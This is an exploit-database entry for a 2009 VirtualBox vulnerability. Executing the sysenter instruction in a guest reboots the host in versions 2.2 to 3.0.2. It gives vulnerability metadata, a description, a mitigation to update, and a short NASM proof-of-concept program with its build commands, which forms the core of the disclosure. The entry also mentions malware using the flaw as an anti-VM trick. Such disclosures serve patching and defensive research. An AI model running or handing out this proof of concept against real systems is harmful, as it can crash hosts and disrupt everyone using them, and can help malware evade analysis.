Sun's VirtualBox host reboot PoC

vendor:

VirtualBox

by:

Tadas Vilkeliskis

7,2

CVSS

HIGH

Privilege Level 0 System Procedures (sysenter)

119

CWE

Product Name: VirtualBox

Affected Version From: 2.2

Affected Version To: 3.0.2 r49928

Patch Exists: Yes

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows XP, Windows 7 RC, Ubuntu 9.04

2009

Sun’s VirtualBox host reboot PoC

VirtualBox VM is unable to handle fast call to privilege level 0 system procedures (sysenter). If sysenter instruction is executed on the guest OS the host machine will reboot. The technique was tested on the following guest OS: Windows XP, Windows 7 RC, Ubuntu 9.04. It is not clear whether it is possible to execute arbitrary code on the host, however this trick can be successfully used by malware as an anti-vm trick.

Mitigation:

Update to the latest version of VirtualBox

Source

Exploit-DB raw data:

Sun's VirtualBox host reboot PoC
by Tadas Vilkeliskis <vilkeliskis.t@gmail.com>
Disclosure made at 2009-08-01

VULNERABILITY INFORMATION

Remotely exploitable: no
Locally exploitable: yes
Affected versions: 2.2 - 3.0.2 r49928 for Linux

VULNERABILITY DESCRIPTION

VirtualBox VM is unable to handle fast call to privilege level 0 system
procedures (sysenter). If sysenter instruction is executed on the guest
OS the host machine will reboot. The technique was tested on the
following guest OS: Windows XP, Windows 7 RC, Ubuntu 9.04. It is not
clear whether it is possible to execute arbitrary code on the host,
however this trick can be successfully used by malware as an anti-vm
trick.

POC

; nasm -f elf vmhostreboot.asm
; gcc vmhostreboot.o -o vmhostreboot

BITS 32
SECTION .text
GLOBAL main

main:
    sysenter
    ret

# milw0rm.com [2009-08-01]